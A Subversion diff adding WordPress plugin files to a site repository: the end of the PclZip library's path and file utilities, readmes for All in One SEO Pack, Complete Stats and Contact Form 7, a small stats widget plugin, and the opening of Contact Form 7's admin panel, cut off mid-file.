+    if (   (!function_exists("get_magic_quotes_runtime"))
+	    || (!function_exists("set_magic_quotes_runtime"))) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Functions *et_magic_quotes_runtime are not supported");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+	}
+
+    // ----- Look if something to do
+    if ($this->magic_quotes_status != -1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "magic_quote not modified");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+	}
+
+	// ----- Swap back magic_quotes
+	if ($this->magic_quotes_status == 1) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Enable back magic_quotes");
+  	  @set_magic_quotes_runtime($this->magic_quotes_status);
+	}
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  }
+  // End of class
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilPathReduction()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function PclZipUtilPathReduction($p_dir)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZipUtilPathReduction", "dir='$p_dir'");
+    $v_result = "";
+
+    // ----- Look for not empty path
+    if ($p_dir != "") {
+      // ----- Explode path by directory names
+      $v_list = explode("/", $p_dir);
+
+      // ----- Study directories from last to first
+      $v_skip = 0;
+      for ($i=sizeof($v_list)-1; $i>=0; $i--) {
+        // ----- Look for current path
+        if ($v_list[$i] == ".") {
+          // ----- Ignore this directory
+          // Should be the first $i=0, but no check is done
+        }
+        else if ($v_list[$i] == "..") {
+		  $v_skip++;
+        }
+        else if ($v_list[$i] == "") {
+		  // ----- First '/' i.e. root slash
+		  if ($i == 0) {
+            $v_result = "/".$v_result;
+		    if ($v_skip > 0) {
+		        // ----- It is an invalid path, so the path is not modified
+		        // TBC
+		        $v_result = $p_dir;
+                //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Invalid path is unchanged");
+                $v_skip = 0;
+		    }
+		  }
+		  // ----- Last '/' i.e. indicates a directory
+		  else if ($i == (sizeof($v_list)-1)) {
+            $v_result = $v_list[$i];
+		  }
+		  // ----- Double '/' inside the path
+		  else {
+            // ----- Ignore only the double '//' in path,
+            // but not the first and last '/'
+		  }
+        }
+        else {
+		  // ----- Look for item to skip
+		  if ($v_skip > 0) {
+		    $v_skip--;
+		  }
+		  else {
+            $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:"");
+		  }
+        }
+      }
+      
+      // ----- Look for skip
+      if ($v_skip > 0) {
+        while ($v_skip > 0) {
+            $v_result = '../'.$v_result;
+            $v_skip--;
+        }
+      }
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilPathInclusion()
+  // Description :
+  //   This function indicates if the path $p_path is under the $p_dir tree. Or,
+  //   said in an other way, if the file or sub-dir $p_path is inside the dir
+  //   $p_dir.
+  //   The function indicates also if the path is exactly the same as the dir.
+  //   This function supports path with duplicated '/' like '//', but does not
+  //   support '.' or '..' statements.
+  // Parameters :
+  // Return Values :
+  //   0 if $p_path is not inside directory $p_dir
+  //   1 if $p_path is inside directory $p_dir
+  //   2 if $p_path is exactly the same as $p_dir
+  // --------------------------------------------------------------------------------
+  function PclZipUtilPathInclusion($p_dir, $p_path)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZipUtilPathInclusion", "dir='$p_dir', path='$p_path'");
+    $v_result = 1;
+    
+    // ----- Look for path beginning by ./
+    if (   ($p_dir == '.')
+        || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) {
+      $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Replacing ./ by full path in p_dir '".$p_dir."'");
+    }
+    if (   ($p_path == '.')
+        || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) {
+      $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Replacing ./ by full path in p_path '".$p_path."'");
+    }
+
+    // ----- Explode dir and path by directory separator
+    $v_list_dir = explode("/", $p_dir);
+    $v_list_dir_size = sizeof($v_list_dir);
+    $v_list_path = explode("/", $p_path);
+    $v_list_path_size = sizeof($v_list_path);
+
+    // ----- Study directories paths
+    $i = 0;
+    $j = 0;
+    while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Working on dir($i)='".$v_list_dir[$i]."' and path($j)='".$v_list_path[$j]."'");
+
+      // ----- Look for empty dir (path reduction)
+      if ($v_list_dir[$i] == '') {
+        $i++;
+        continue;
+      }
+      if ($v_list_path[$j] == '') {
+        $j++;
+        continue;
+      }
+
+      // ----- Compare the items
+      if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != ''))  {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Items ($i,$j) are different");
+        $v_result = 0;
+      }
+
+      // ----- Next items
+      $i++;
+      $j++;
+    }
+
+    // ----- Look if everything seems to be the same
+    if ($v_result) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Look for tie break");
+      // ----- Skip all the empty items
+      while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++;
+      while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++;
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Looking on dir($i)='".($i < $v_list_dir_size?$v_list_dir[$i]:'')."' and path($j)='".($j < $v_list_path_size?$v_list_path[$j]:'')."'");
+
+      if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) {
+        // ----- There are exactly the same
+        $v_result = 2;
+      }
+      else if ($i < $v_list_dir_size) {
+        // ----- The path is shorter than the dir
+        $v_result = 0;
+      }
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilCopyBlock()
+  // Description :
+  // Parameters :
+  //   $p_mode : read/write compression mode
+  //             0 : src & dest normal
+  //             1 : src gzip, dest normal
+  //             2 : src normal, dest gzip
+  //             3 : src & dest gzip
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZipUtilCopyBlock", "size=$p_size, mode=$p_mode");
+    $v_result = 1;
+
+    if ($p_mode==0)
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Src offset before read :".(@ftell($p_src)));
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Dest offset before write :".(@ftell($p_dest)));
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+        $v_buffer = @fread($p_src, $v_read_size);
+        @fwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Src offset after read :".(@ftell($p_src)));
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Dest offset after write :".(@ftell($p_dest)));
+    }
+    else if ($p_mode==1)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+        $v_buffer = @gzread($p_src, $v_read_size);
+        @fwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+    else if ($p_mode==2)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+        $v_buffer = @fread($p_src, $v_read_size);
+        @gzwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+    else if ($p_mode==3)
+    {
+      while ($p_size != 0)
+      {
+        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+        $v_buffer = @gzread($p_src, $v_read_size);
+        @gzwrite($p_dest, $v_buffer, $v_read_size);
+        $p_size -= $v_read_size;
+      }
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilRename()
+  // Description :
+  //   This function tries to do a simple rename() function. If it fails, it
+  //   tries to copy the $p_src file in a new $p_dest file and then unlink the
+  //   first one.
+  // Parameters :
+  //   $p_src : Old filename
+  //   $p_dest : New filename
+  // Return Values :
+  //   1 on success, 0 on failure.
+  // --------------------------------------------------------------------------------
+  function PclZipUtilRename($p_src, $p_dest)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZipUtilRename", "source=$p_src, destination=$p_dest");
+    $v_result = 1;
+
+    // ----- Try to rename the files
+    if (!@rename($p_src, $p_dest)) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Fail to rename file, try copy+unlink");
+
+      // ----- Try to copy & unlink the src
+      if (!@copy($p_src, $p_dest)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Fail to copy file");
+        $v_result = 0;
+      }
+      else if (!@unlink($p_src)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Fail to unlink old filename");
+        $v_result = 0;
+      }
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilOptionText()
+  // Description :
+  //   Translate option value in text. Mainly for debug purpose.
+  // Parameters :
+  //   $p_option : the option value.
+  // Return Values :
+  //   The option text value.
+  // --------------------------------------------------------------------------------
+  function PclZipUtilOptionText($p_option)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZipUtilOptionText", "option='".$p_option."'");
+    
+    $v_list = get_defined_constants();
+    for (reset($v_list); $v_key = key($v_list); next($v_list)) {
+	  $v_prefix = substr($v_key, 0, 10);
+	  if ((   ($v_prefix == 'PCLZIP_OPT')
+         || ($v_prefix == 'PCLZIP_CB_')
+         || ($v_prefix == 'PCLZIP_ATT'))
+	      && ($v_list[$v_key] == $p_option)) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_key);
+          return $v_key;
+	    }
+    }
+    
+    $v_result = 'Unknown';
+
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZipUtilTranslateWinPath()
+  // Description :
+  //   Translate windows path by replacing '\' by '/' and optionally removing
+  //   drive letter.
+  // Parameters :
+  //   $p_path : path to translate.
+  //   $p_remove_disk_letter : true | false
+  // Return Values :
+  //   The path translated.
+  // --------------------------------------------------------------------------------
+  function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true)
+  {
+    if (stristr(php_uname(), 'windows')) {
+      // ----- Look for potential disk letter
+      if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) {
+          $p_path = substr($p_path, $v_position+1);
+      }
+      // ----- Change potential windows directory separator
+      if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) {
+          $p_path = strtr($p_path, '\\', '/');
+      }
+    }
+    return $p_path;
+  }
+  // --------------------------------------------------------------------------------
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/readme.txt	(revision 44)
@@ -0,0 +1,70 @@
+=== All in One SEO Pack ===
+Contributors: hallsofmontezuma
+Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=mrtorbert%40gmail%2ecom&item_name=All%20In%20One%20SEO%20Pack&item_number=Support%20Open%20Source&no_shipping=0&no_note=1&tax=0&currency_code=USD&lc=US&bn=PP%2dDonationsBF&charset=UTF%2d8
+Tags: post,google,seo,meta,meta keywords,meta description,title,posts,plugin, search engine optimization
+Requires at least: 1.5
+Tested up to: 2.8.4
+Stable tag: trunk
+
+Automatically optimizes your Wordpress blog for Search Engines (Search Engine Optimization).
+
+== Description ==
+
+**Optimizes** your Wordpress blog for Search Engines (**Search Engine Optimization**).
+
+**[Download now!](http://downloads.wordpress.org/plugin/all-in-one-seo-pack.zip)**
+
+**If upgrading, please back up your database first!**
+
+[Support](http://semperfiwebdesign.com/forum/) |
+[Change Log](http://semperfiwebdesign.com/documentation/all-in-one-seo-pack/all-in-one-seo-pack-release-history/) |
+[FAQ](http://semperfiwebdesign.com/documentation/all-in-one-seo-pack/all-in-one-seo-faq/)|
+[Translations](http://semperfiwebdesign.com/documentation/all-in-one-seo-pack/translations-for-all-in-one-seo-pack/)
+
+Some features:
+
+* Canonical URLs
+* Fine tune Page Navigational Links 
+* Built-in API so other plugins/themes can access and extend functionality
+* Provides SEO Integration for WP e-Commerce sites
+* Nonce Security
+* Support for CMS-style WordPress installations
+* Automatically optimizes your **titles** for search engines
+* Generates **META tags automatically**
+* Avoids the typical duplicate content found on Wordpress blogs
+* For beginners, you don't even have to look at the options, it works out-of-the-box. Just install.
+* For advanced users, you can fine-tune everything
+* You can override any title and set any META description and any META keywords you want.
+* Backward-Compatibility with many other plugins, like Auto Meta, Ultimate Tag Warrior and others.
+
+Be sure to check out:
+[WP Security Scan](http://wordpress.org/extend/plugins/wp-security-scan/)
+and
+[SMS Text Message](http://wordpress.org/extend/plugins/sms-text-message/)
+
+Follow me on Twitter to keep up with the latest updates [Michael
+Torbert](http://twitter.com/michaeltorbert/)
+
+== Installation ==
+
+You can use the built in installer and upgrader, or you can install the plugin
+manually.
+
+1. You can either use the automatic plugin installer or your FTP program to upload it to your wp-content/plugins directory
+the top-level folder. Don't just upload all the php files and put them in `/wp-content/plugins/`.
+1. Activate the plugin through the 'Plugins' menu in WordPress
+1. Visit your SEO options (*Options - All in One SEO*) for Wordpress 2.3.x, (*Settings - All in One SEO*) for Wordpress 2.5.x-2.8.x 
+1. Configure any options as desired, and then enable the plugin
+1. That's it!
+
+If you have to upgrade manually simply repeat the installation steps and re-enable the plugin.
+
+**If upgrading, please back up your database first!**
+
+[Upgrade guide for upgrading from 1.5.x and below to
+1.6.x](http://onefinejay.com/2009/07/11/a-guide-to-upgrading-to-aioseop-v1-6-1)
+
+== Frequently Asked Questions ==
+
+Please read these **[FAQs](http://semperfiwebdesign.com/documentation/all-in-one-seo-pack/all-in-one-seo-faq/)** before requesting
+**[My Plugin Support Forum](http://semperfiwebdesign.com/forum/)**
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/complete-stats/complete-stats.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/complete-stats/complete-stats.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/complete-stats/complete-stats.php	(revision 44)
@@ -0,0 +1,87 @@
+<?php
+/* Plugin Name: Complete Site Stats
+ * Version: 0.1
+ * Plugin URI: http://www.gpearce.co.uk/plugins/complete-stats/
+ * Description: Complete statistics for your blog.
+ * Author: George Pearce
+ * Author URI: http://www.gpearce.co.uk/
+ */
+// Some set variables for misc stuff.
+
+// for the pagerank
+function prchecker() {
+echo 'The pagerank of this page is <img src="http://www.getseoresults.com/free-pagerank-display.php?a=getCode&s=Google" title="Free PageRank Display Code" border="0px" alt="Free PageRank Checker Display" /><br />'; 
+}
+
+// for the alexa rank
+function getalexa() {
+$homepageurl = get_bloginfo('home');
+$request_url = "http://data.alexa.com/data?cli=10&dat=snbamz&url=".$homepageurl;
+$xml = simplexml_load_file($request_url) or die ("Feed not loading, sorry");
+return $xml->SD->POPULARITY['TEXT'];
+}
+function showalexa() {
+echo "The Alexa rank of this website is "; echo getalexa(); // this needs cleaning up in release version.
+}
+
+// checking backlinks
+function yahoo_backlinks() {
+?>
+<br><center><!-- START CODE -->
+<script type="text/javascript" src="https://sec.yimg.com/us.yimg.com/lib/s2/yschx_siteexplorer_badge_20070709.js"></script>
+<div id="ybadge" style="position:relative;left:0px;top:0px;width:105px;height:35px;z-index:1;border: 1px solid #8ea9ba;background: url(https://sec.yimg.com/us.yimg.com/i/us/sch/el/siteex_badgesml_bg.gif) repeat-x;overflow: hidden;cursor:pointer;" onclick="GotoSiteUrl()">
+<div id="ylogo" style="position:absolute;left:5px;top:11px;width:18px;height:10px;z-index:1;">
+<img src="https://sec.yimg.com/us.yimg.com/i/us/sch/el/siteex_badgesml_logo.gif" alt="Yahoo!" width="18" height="10" />
+</div>
+<div id="ynum" style="position:absolute;left:30px;top:3px;width:75px;font:bold 11px Tahoma, Verdana, Arial;color: #2d2a25;height:15px;z-index:2;text-align: center;">
+<script type="text/javascript">
+<!--
+document.write("<scr"+"ipt type=\"text/javascript\" src=\"http://search.yahooapis.com/SiteExplorerService/V1/inlinkCount?appid=YahooBadge&entire_site=1&query="+siteurl+"&output=json&callback=ws_results\"></scr"+"ipt\>");
+// -->
+</script></div>
+<div id="ytxt" style="position:absolute;height:15px;z-index:3;font:normal 11px Tahoma, Verdana, Arial;left:30px;top:18px;width:75px;color: #1b1a17;">
+Links to Site</div></div>
+<!-- END CODE --></center><br />
+<?php }
+
+// Setting up the widget
+function widget_css_launch() {
+if ( function_exists('register_sidebar_widget') ) :
+	function widget_complete_site_stats() {
+echo $before_widget;
+echo $before_title . $options['title'] . $after_title;
+
+// The widget itself. Anything below here and above the next comment will be placed directly into the widget. ?><br />
+<?php 	prchecker();  
+	showalexa(); 
+	yahoo_backlinks();?>
+	
+
+<?php
+// please don't remove the following credits link, and if you really must, a donation would be appreciated. gpearce.co.uk/contribute.
+echo "<small>Stats by <a href='http://www.gpearce.co.uk/plugins/complete-stats/'>Complete Stats</a></small>";
+echo $after_widget;
+// the widget ends here. The next bit is important, please don't edit it.
+}
+
+register_sidebar_widget('Complete Site Stats', 'widget_complete_site_stats', null, 'Complete_Site_Stats');
+function widget_complete_site_stats_control() {
+		$options = $newoptions = get_option('widget_complete_site_stats');
+		if ( $_POST["complete_site_stats-submit"] ) {
+			$newoptions['title'] = strip_tags(stripslashes($_POST["complete_site_stats-title"]));
+			if ( empty($newoptions['title']) ) $newoptions['title'] = 'Stats';
+		}
+		if ( $options != $newoptions ) {
+			$options = $newoptions;
+			update_option('widget_complete_site_stats', $options);
+		}
+		$title = htmlspecialchars($options['title'], ENT_QUOTES);
+}
+	endif;
+}
+add_action('init', 'widget_css_launch');
+
+/* And we're finished. This plugin took about 5 hours of my work, and if you find any problems, post them on my bug tracker
+ * http://bugs.gpearce.co.uk
+*/
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/complete-stats/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/complete-stats/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/complete-stats/readme.txt	(revision 44)
@@ -0,0 +1,28 @@
+=== Complete Stats ===
+Contributors: gspx
+Donate link: http://www.gpearce.co.uk/contribute/
+Tags: stats, alexa, statistics, sidebar, widget
+Requires at least: 2.0.2
+Tested up to: 2.5
+Stable tag: 0.1
+
+This plugin creates a sidebar widget with your website statistics in it - alexa, pr, etc.
+
+== Description ==
+
+This plugin, when activated, creates it's own sidebar widget with a bunch of stats about your website in it, currently including PR and Alexa rank, with more being added.
+
+
+== Installation ==
+
+It is very simple to get the plugin working on your blog.
+
+1. Upload `complete-stats.php` to the `/wp-content/plugins/` directory
+2. Activate the plugin through the 'Plugins' menu in WordPress
+3. Put the widget where you want it in the widgets manager. 
+
+== Frequently Asked Questions ==
+
+= What about foo bar? =
+
+If there's a big problem, [submit a bug here.](http://www.gpearce.co.uk/bugs "submit a bug here.")
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/README.txt	(revision 44)
@@ -0,0 +1,93 @@
+=== Contact Form 7 ===
+Contributors: takayukister
+Donate link: http://pledgie.com/campaigns/3117
+Tags: contact, contact form, email, ajax, captcha, akismet, WPML, multilingual
+Requires at least: 2.7
+Tested up to: 2.9-rare
+Stable tag: 2.0.2
+
+Just another contact form plugin. Simple but flexible.
+
+== Description ==
+
+Just another contact form plugin. Simple but flexible.
+
+Contact Form 7 can manage multiple contact forms, plus you can customize the form and the mail contents flexibly with simple markup. The form supports Ajax-powered submitting, CAPTCHA, Akismet spam filtering and so on.
+
+**Note: Contact Form 7's CAPTCHA module has been separated as [Really Simple CAPTCHA](http://wordpress.org/extend/plugins/really-simple-captcha/) plugin. Now you need to install it if you use CAPTCHA. If you don't, you can use as in the past.**
+
+Since being published in August 2007, Contact Form 7 has been translated into a number of languages. Our thanks and appreciation must go to the following for their contributions:
+
+* Albanian (sq) - [Olgi Zenullari](http://www.olgizenullari.com/)
+* Arabic (ar) - [Tarek Chaaban](http://www.chaaban.info/) and Muhammed Lardi
+* Bangla (bn_BD) - [SM Mehdi Akram](http://www.shamokaldarpon.com/)
+* Bosnian (bs) - [Vedran](http://www.seorabbit.com/)
+* Brazilian Portuguese (pt_BR) - [Leonardo Pinheiro](http://www.eletrikabarbarella.com.br/) (updated by [Henrique Vianna](http://henriquevianna.com/))
+* Bulgarian (bg_BG) - [Iliyan Darganov](http://www.darganov.com/)
+* Catalan (ca_ES) - [Jordi Sancho](http://www.qasolutions.net/blog)
+* Chinese, Simplified (zh_CN) - [Soz](http://www.webtoolol.com/)
+* Chinese, Traditional (zh_TW) - [James Wu](http://jameswublog.com)
+* Croatian (hr) - [tolingo Translation Services](http://www.tolingo.com)
+* Czech (cs_CZ) - Korry
+* Danish (da_DK) - [Jens Griebel](http://www.kompas-it.dk/) (updated by [Georg S. Adamsen](http://wordpress.blogos.dk/))
+* Dutch (nl_NL) - [Chris Devriese](http://www.100it.be/) (updated by [Martin Hein](http://www.split-a-pixel.nl/))
+* Estonian (et) - [Peeter Rahuvarm](http://www.kraabus.ee)
+* Finnish (fi) - [Miika Turunen](http://www.webwork.fi/)
+* French (fr_FR) - [Jillij](http://www.jillij.com/) (updated by [MaÃ®tre MÃŽ](http://maitremo.fr/))
+* Georgian (ka_GE) - [Nodar Davituri](http://omedia.ge/)
+* German (de_DE) - [Marcel Spitau](http://blog.spitau.de) (updated by [Ivan Graf](http://blog.bildergallery.com/))
+* Greek (el) - [Nick Mouratidis](http://www.kepik.gr/) (updated by [Pr. friedlich](http://friedlich.wordpress.com/))
+* Hebrew (he_IL) - [Yaron Ofer](http://www.gadgetguru.co.il/)
+* Hindi (hi_IN) - [Tarun Joshi](http://www.readers-cafe.net/)
+* Hungarian (hu_HU) - [Andras Hirschler](http://hia.itblog.hu/)
+* Indonesian (id_ID) - [Hendry Lee](http://blogbuildingu.com/)
+* Italian (it_IT) - [Bruno](http://www.brunosalzano.com) (updated by [Gianni Diurno](http://gidibao.net/))
+* Japanese (ja) - [Takayuki Miyoshi](http://ideasilo.wordpress.com) (plugin author)
+* Korean (ko_KR) - Seong Eun Lee (updated by [Jong-In Kim](http://incommunity.codex.kr/wordpress/))
+* Latvian (lv) - [Sandis Veinbergs](http://www.kleofass.lv/)
+* Lithuanian(lt_LT) - [Ernestas Kardzys](http://www.ernestas.info/)
+* Norwegian (nb_NO) - Kjetil M. Bergem (updated by [aanvik.net](http://www.aanvik.net))
+* Persian (Farsi; fa_IR) - [Mohammad Musavi](http://www.musavis.com/)
+* Polish (pl_PL) - [Zbigniew Czernik](http://zibik.jogger.pl/) (updated by [Daniel Fruzynski](http://www.poradnik-webmastera.com))
+* Portuguese (pt_PT) - [Hugo Baeta](http://hugobaeta.com)
+* Russian (ru_RU) - [Dmitry Volotovich](http://www.volnov.com)
+* Romanian (ro_RO) - [Stas Sushkov](http://stas.nerd.ro/)
+* Serbian (sr_RS) - [Vedran](http://www.seorabbit.com/)
+* Slovak (sk) - [Patrik BÃ³na](http://www.mrhead.sk/)
+* Slovene (sl_SI) - [Mihael SimoniÄ](http://smihael.bplaced.net)
+* Spanish (es_ES) - [Jordi Sancho](http://www.qasolutions.net/blog)
+(updated by [Vladimir Prieto](http://vladimir.prie.to/), [Federico Mikaelian](http://www.fedemika.com.ar/) and [Matias Baldanza](http://matiasbaldanza.com/))
+* Swedish (sv_SE) - [Fredrik Jonsson](http://www.fredda-o-ac.se/) (updated by [the Swedish community](http://wp-support.se/))
+* Turkish (tr_TR) - [Roman Neumuller](http://katpatuka.wordpress.com) (updated by [Hasan YÄ±lmaz](http://hedefturkce.com/))
+* Ukrainian (uk_UA) - [Andrey Kovba](http://myserver.com.ua/)
+* Vietnamese (vi) - Thanh Háº£i, HÃ 
+
+If you have created your own language pack, or have an update of an existing one, you can send [gettext .po and .mo files](http://codex.wordpress.org/Translating_WordPress) to me so that I can bundle it into Contact Form 7.
+
+== Installation ==
+
+1. Upload the entire `contact-form-7` folder to the `/wp-content/plugins/` directory.
+1. Activate the plugin through the 'Plugins' menu in WordPress.
+
+You will find 'Contact' menu in your WordPress admin panel.
+
+For basic usage, you can also have a look at the [plugin homepage](http://ideasilo.wordpress.com/2007/04/30/contact-form-7/) and [FAQ](http://ideasilo.wordpress.com/2008/03/29/contact-form-7-faq/).
+
+== Frequently Asked Questions ==
+
+Please see [FAQ](http://ideasilo.wordpress.com/2008/03/29/contact-form-7-faq/).
+
+If you have any further questions,
+please submit them [to the support forum](http://wordpress.org/tags/contact-form-7?forum_id=10#postform).
+
+= How to use Contact Form 7 in multilingual websites =
+
+Starting with version 2.0, Contact Form 7 can create multilingual contact form using the WPML plugin. See the detail on [WPML.org](http://wpml.org/wordpress-translation/translation-for-texts-by-other-plugins-and-themes/how-to-use-contact-form-7-in-multilingual-websites/).
+
+== Screenshots ==
+
+1. screenshot-1.png
+
+== Changelog ==
+
+[See change logs in author's blog.](http://ideasilo.wordpress.com/tag/contact-form-7/)
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/admin-panel.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/admin-panel.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/admin/admin-panel.php	(revision 44)
@@ -0,0 +1,344 @@
+<?php
+
+/* No table warning */
+if ( ! wpcf7_table_exists() ) {
+	if ( current_user_can( 'activate_plugins' ) ) {
+		$create_table_link_url = wpcf7_admin_url( 'admin.php', array( 'wpcf7-create-table' => 1 ) );
+		$create_table_link_url = wp_nonce_url( $create_table_link_url, 'wpcf7-create-table' );
+		$message = sprintf(
+			__( '<strong>The database table for Contact Form 7 does not exist.</strong> You must <a href="%s">create the table</a> for it to work.', 'wpcf7' ),
+			$create_table_link_url );
+	} else {
+		$message = __( "<strong>The database table for Contact Form 7 does not exist.</strong>", 'wpcf7' );
+	}
+?>
+	<div class="wrap">
+	<?php screen_icon( 'edit-pages' ); ?>
+	<h2><?php echo esc_html( __( 'Contact Form 7', 'wpcf7' ) ); ?></h2>
+	<div id="message" class="updated fade">
+	<p><?php echo $message; ?></p>
+	</div>
+	</div>
+<?php
+	return;
+}
+
+?><div class="wrap wpcf7">
+
+	<?php screen_icon( 'edit-pages' ); ?>
+
+	<h2><?php echo esc_html( __( 'Contact Form 7', 'wpcf7' ) ); ?></h2>
+
+	<?php wpcf7_donation_link(); ?>
+
+	<?php if ( isset( $updated_message ) ) : ?>
+	<div id="message" class="updated fade"><p><?php echo $updated_message; ?></p></div>
